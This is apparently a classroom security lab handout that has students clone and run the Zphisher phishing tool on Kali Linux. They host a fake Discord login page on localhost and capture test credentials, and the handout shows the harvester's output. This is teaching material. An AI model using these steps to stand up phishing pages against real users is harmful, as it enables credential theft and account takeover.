## **Zphisher Phishing Tutorial**

## Contents

Zphisher Phishing Tutorial	1
Zphisher	1
	_
Assianment Submission	

Time required: 30 minutes

Phishing is a deceptive tactic where cyber attackers trick individuals into revealing sensitive information like passwords or personal data by posing as a trustworthy entity through emails, messages, or websites. It aims to exploit human trust and lure victims into clicking malicious links, downloading malware, or sharing confidential details, compromising their security.

This lab will show how easy it is to create and send your own phishing emails. Zphisher is an open-source tool that was designed specifically for the purpose of creating phishing emails and credentials harvesting.

Zphisher offers phishing templates web pages for 33 popular sites such as Facebook, Instagram, Google, Snapchat, GitHub, Yahoo, Protonmail, Spotify, Netflix, Linkedin, WordPress, Origin, Steam, Microsoft, etc.

## **Zphisher**

- 1. Start Kali Linux.
- 2. Run the following commands from a terminal.

```
git clone --depth=1 https://github.com/htr-tech/zphisher.git
cd zphisher
./zphisher.sh
```

Choose any option from the menu list to create a phishing link of the respective website which you can send to your victims.



1. Choose any Option. This example uses **34** Discord.



This is a proof-of-concept tutorial. We will use localhost as we are not actually phishing anyone but ourselves. **1 Localhost** will host the phishing site locally on Kali.

- 2. Select a port forwarding service: **1 Localhost**
- 3. Do You Want A Custom Port: N

```
2.3.4

[-] Successfully Hosted at: http://127.0.0.1:8080

[-] Waiting for Login Info, Ctrl + C to exit...
```

- 4. Open Firefox → Go to <a href="https://127.0.0.1:8080">https://127.0.0.1:8080</a>
- 5. Type in a fake email and password. Log In.

```
2.3.5

[-] Successfully Hosted at : http://127.0.0.1:8080

[-] Waiting for Login Info, Ctrl + C to exit...

[-] Victim IP Found !

[-] Victim's IP : 127.0.0.1

[-] Saved in : auth/ip.txt

[-] Login info Found !!

[-] Account : williamloring2hhhāmai.com

[-] Password : Password01

[-] Saved in : auth/usernames.dat

[-] Waiting for Next Login Info, Ctrl + C to exit.
```

If this page had been hosted on an external website you might have been fooled!

## **Assignment Submission**

- 1. Attach a screenshot showing a successful run of the program.
- 2. Submit the assignment in Blackboard.